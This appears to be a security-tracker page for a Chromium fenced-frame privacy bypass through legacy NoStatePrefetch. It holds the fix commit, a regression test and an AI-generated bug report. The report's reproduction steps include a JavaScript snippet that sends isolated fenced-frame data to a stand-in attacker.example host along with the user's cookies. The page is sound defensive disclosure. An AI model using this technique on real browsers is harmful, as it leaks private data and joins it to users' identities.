Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactMissing authorization in Preload
DescriptionMissing authorization in Preload
ComponentPreload
Bug ClassLogic Error
Tracker503585863
Fix commitcbc0d6a414e2 (chromium/src) +43/-0
CISA KEVNot listed
CreditedGoogle
Disclosed2026-08-25

Files Changed

  • chrome/browser/chrome_browser_interface_binders.cc
  • chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
From cbc0d6a414e2ab8f57afbea4a93fab98a6f783d3 Mon Sep 17 00:00:00 2001
From: Martin Verde <thesalsa@google.com>
Date: Wed, 01 Jul 2026 18:13:09 -0700
Subject: [PATCH] Do not bind NoStatePrefetchProcessor for fenced frames

<link rel=prerender> inside a fenced frame currently reaches
BindNoStatePrefetchProcessor() and starts a NoStatePrefetch in a fresh
top-level WebContents in the embedder profile, outside the fenced
frame's storage / network partition. The other preloading paths already
opt fenced frames out (PrerendererImpl checks
IsNestedWithinFencedFrame(); PrefetchURLLoaderService carries the
fenced-frame nonce); do the same here.

Drop the receiver when the requesting RenderFrameHost is nested within a
fenced frame. This is a silent early-return rather than
ReportBadMessage() because the renderer-side PrerenderHandle has no
fenced-frame gate of its own.

Add NoStatePrefetchFencedFrameBrowserTest coverage that inserts <link
rel=prerender> in a fenced frame and verifies the target URL is never
requested.

Bug: 503585863
Change-Id: Ib84d8ab0b18b439cdda1396bfb52cd9dbb9bcf89
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8018802
Reviewed-by: Sam McNally <sammc@chromium.org>
Commit-Queue: Martin Pan-Verde <thesalsa@google.com>
Reviewed-by: Hiroki Nakagawa <nhiroki@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1655849}
---

diff --git a/chrome/browser/chrome_browser_interface_binders.cc b/chrome/browser/chrome_browser_interface_binders.cc
index 14ee8fd..3720ed1ee 100644
--- a/chrome/browser/chrome_browser_interface_binders.cc
+++ b/chrome/browser/chrome_browser_interface_binders.cc
@@ -262,6 +262,10 @@
 void BindNoStatePrefetchProcessor(
     content::RenderFrameHost* frame_host,
     mojo::PendingReceiver<blink::mojom::NoStatePrefetchProcessor> receiver) {
+  // NoStatePrefetch is not supported inside fenced frames.
+  if (frame_host->IsNestedWithinFencedFrame()) {
+    return;
+  }
   prerender::NoStatePrefetchProcessorImpl::Create(
       frame_host, std::move(receiver),
       std::make_unique<
diff --git a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
index 6689902..e850512d 100644
--- a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
+++ b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
@@ -2006,4 +2006,43 @@
   EXPECT_FALSE(recorded);
 }
 
+// <link rel=prerender> inside a fenced frame must not trigger NoStatePrefetch.
+IN_PROC_BROWSER_TEST_F(NoStatePrefetchFencedFrameBrowserTest,
+                       LinkRelPrerenderInFencedFrame) {
+  const GURL initial_url = embedded_test_server()->GetURL("/empty.html");
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), initial_url));
+
+  const GURL fenced_frame_url =
+      embedded_test_server()->GetURL("/fenced_frames/title1.html");
+  content::RenderFrameHost* fenced_frame_host =
+      fenced_frame_test_helper().CreateFencedFrame(
+          GetWebContents()->GetPrimaryMainFrame(), fenced_frame_url);
+  ASSERT_TRUE(fenced_frame_host);
+
+  const GURL target_url = embedded_test_server()->GetURL(kPrefetchPage);
+  ASSERT_TRUE(content::ExecJs(
+      fenced_frame_host,
+      content::JsReplace("const l = document.createElement('link');"
+                         "l.rel = 'prerender'; l.href = $1;"
+                         "document.head.appendChild(l);",
+                         target_url)));
+
+  // Trigger and wait for NoStatePrefetch from the primary main frame for a
+  // different URL. By the time this prefetch finishes, any prefetch issued for
+  // `target_url` would have already reached the test server.
+  std::unique_ptr<TestPrerender> control_prerender =
+      no_state_prefetch_contents_factory()->ExpectNoStatePrefetchContents(
+          FINAL_STATUS_NOSTATE_PREFETCH_FINISHED);
+  const GURL control_url = embedded_test_server()->GetURL(kPrefetchPage2);
+  ASSERT_TRUE(content::ExecJs(
+      GetWebContents()->GetPrimaryMainFrame(),
+      content::JsReplace("const l = document.createElement('link');"
+                         "l.rel = 'prerender'; l.href = $1;"
+                         "document.head.appendChild(l);",
+                         control_url)));
+  control_prerender->WaitForStop();
+
+  EXPECT_EQ(0u, GetRequestCount(target_url));
+}
+
 }  // namespace prerender
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
index 6689902..e850512d 100644
--- a/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
+++ b/chrome/browser/preloading/prefetch/no_state_prefetch/prerender_nostate_prefetch_browsertest.cc
@@ -2006,4 +2006,43 @@
   EXPECT_FALSE(recorded);
 }
 
+// <link rel=prerender> inside a fenced frame must not trigger NoStatePrefetch.
+IN_PROC_BROWSER_TEST_F(NoStatePrefetchFencedFrameBrowserTest,
+                       LinkRelPrerenderInFencedFrame) {
+  const GURL initial_url = embedded_test_server()->GetURL("/empty.html");
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), initial_url));
+
+  const GURL fenced_frame_url =
+      embedded_test_server()->GetURL("/fenced_frames/title1.html");
+  content::RenderFrameHost* fenced_frame_host =
+      fenced_frame_test_helper().CreateFencedFrame(
+          GetWebContents()->GetPrimaryMainFrame(), fenced_frame_url);
+  ASSERT_TRUE(fenced_frame_host);
+
+  const GURL target_url = embedded_test_server()->GetURL(kPrefetchPage);
+  ASSERT_TRUE(content::ExecJs(
+      fenced_frame_host,
+      content::JsReplace("const l = document.createElement('link');"
+                         "l.rel = 'prerender'; l.href = $1;"
+                         "document.head.appendChild(l);",
+                         target_url)));
+
+  // Trigger and wait for NoStatePrefetch from the primary main frame for a
+  // different URL. By the time this prefetch finishes, any prefetch issued for
+  // `target_url` would have already reached the test server.
+  std::unique_ptr<TestPrerender> control_prerender =
+      no_state_prefetch_contents_factory()->ExpectNoStatePrefetchContents(
+          FINAL_STATUS_NOSTATE_PREFETCH_FINISHED);
+  const GURL control_url = embedded_test_server()->GetURL(kPrefetchPage2);
+  ASSERT_TRUE(content::ExecJs(
+      GetWebContents()->GetPrimaryMainFrame(),
+      content::JsReplace("const l = document.createElement('link');"
+                         "l.rel = 'prerender'; l.href = $1;"
+                         "document.head.appendChild(l);",
+                         control_url)));
+  control_prerender->WaitForStop();
+
+  EXPECT_EQ(0u, GetRequestCount(target_url));
+}
+
 }  // namespace prerender
Loading diff…

Original Bug Report

reported by vm...@google.com

Fenced Frame Partition Bypass via No-State Prefetch

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see go/chrome-ai-generated-security-bugs-faq for more information.

Overview: A logic flaw allows a Fenced Frame to initiate an unpartitioned No-State Prefetch using a <link rel="prerender"> tag. The legacy prefetch path omits Fenced Frame boundary checks, causing the browser to send unpartitioned first-party cookies to an attacker-controlled URL. This completely bypasses the Fenced Frame privacy model.

Affected files:

  • chrome/browser/chrome_browser_interface_binders.cc
  • components/no_state_prefetch/browser/no_state_prefetch_processor_impl.cc
  • components/no_state_prefetch/browser/no_state_prefetch_link_manager.cc
  • components/no_state_prefetch/browser/no_state_prefetch_manager.cc
  • components/no_state_prefetch/browser/no_state_prefetch_contents.cc

Estimated timestamp from git blame: 2025-07-17

Final Conclusion & Suggested Fix

To resolve this potential privacy boundary bypass, chrome/browser/chrome_browser_interface_binders.cc (in BindNoStatePrefetchProcessor) or NoStatePrefetchProcessorImpl::Create must explicitly reject requests from Fenced Frames by checking render_frame_host->IsNestedWithinFencedFrame(). Alternatively, NoStatePrefetchLinkManager::OnStartLinkTrigger should block Fenced Frames alongside its existing blocks for <webview> guests.

Vulnerability Mechanics

The legacy No-State Prefetch implementation (<link rel="prerender">) fails to enforce Fenced Frame isolation boundaries.

The Setup (Context Validation): When an attacker running JavaScript inside a Fenced Frame dynamically injects a <link rel="prerender" href="..."> element, Blink’s LinkLoader initiates the prefetch request. The browser process binds the mojom::blink::NoStatePrefetchProcessor interface via BindNoStatePrefetchProcessor. While modern Speculation Rules (PrerendererImpl) and other sensitive Mojo binders explicitly check IsNestedWithinFencedFrame() to block access, this legacy path omits the check entirely. Furthermore, NoStatePrefetchLinkManager explicitly checks for and blocks <webview> guests but misses Fenced Frames.

The Leap (Unpartitioned Execution): Due to the missing boundary checks, the request reaches NoStatePrefetchContents::StartPrerendering. Here, the browser instantiates a completely new, hidden, top-level WebContents to handle the prefetch. Because this new tab operates outside the Fenced Frame’s IsolationInfo and lacks its partition nonce, the ensuing network request to the attacker’s URL automatically attaches the user’s unpartitioned first-party cookies. The attacker correlates isolated Fenced Frame data (passed via URL parameters) with the user’s unpartitioned identity (passed via cookies).

Suggested Reproduction Steps

(Note: These are suggested steps; our tooling agent does not have the ability to run code to provide a working PoC.)

  1. Navigate a standard Chrome profile to a site that embeds an attacker-controlled Fenced Frame (e.g., via the Protected Audience API).
  2. Inside the Fenced Frame, execute JavaScript to append a prefetch link:
    let l = document.createElement('link');
    l.rel = 'prerender';
    l.href = 'https://attacker.example/log?secret=isolated_fenced_frame_data';
    document.head.appendChild(l);
    
  3. Observe the network traffic. The browser process will dispatch a top-level GET request to attacker.example that includes the user’s unpartitioned first-party cookies, allowing a cross-partition identity join.

Evaluated with Chrome root at commit: 661452647ddb2827305122ff3273bd5dea403f09


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker